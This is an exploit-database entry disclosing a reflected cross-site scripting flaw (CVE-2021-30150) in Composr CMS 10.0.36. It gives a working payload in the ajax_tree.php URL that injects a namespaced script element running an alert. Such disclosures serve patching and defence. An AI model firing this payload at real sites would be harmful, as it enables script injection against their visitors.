Composr CMS 10.0.36 Exploit, Cross Site Scripting

# Exploit Title: Composr CMS 10.0.36 - Cross Site Scripting
# Date: 04/06/2021
# Exploit Author: Orion Hridoy
# Vendor Homepage: https://compo.sr/
# Software Link: https://compo.sr/download.htm
# Version: 10.0.36
# Tested on: Windows/Linux
# CVE : CVE-2021-30150

Vulnerable Endpoint:
https://site.com/data/ajax_tree.php?hook=choose_gallery&id=&options=a:5:{s:21:"must_accept_something";b:1;s:6:"purity";b:0;s:14:"addable_filter";b:1;s:6:"filter";N;s:9:"member_id";N;}&default=<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert("Hello")</something:script>

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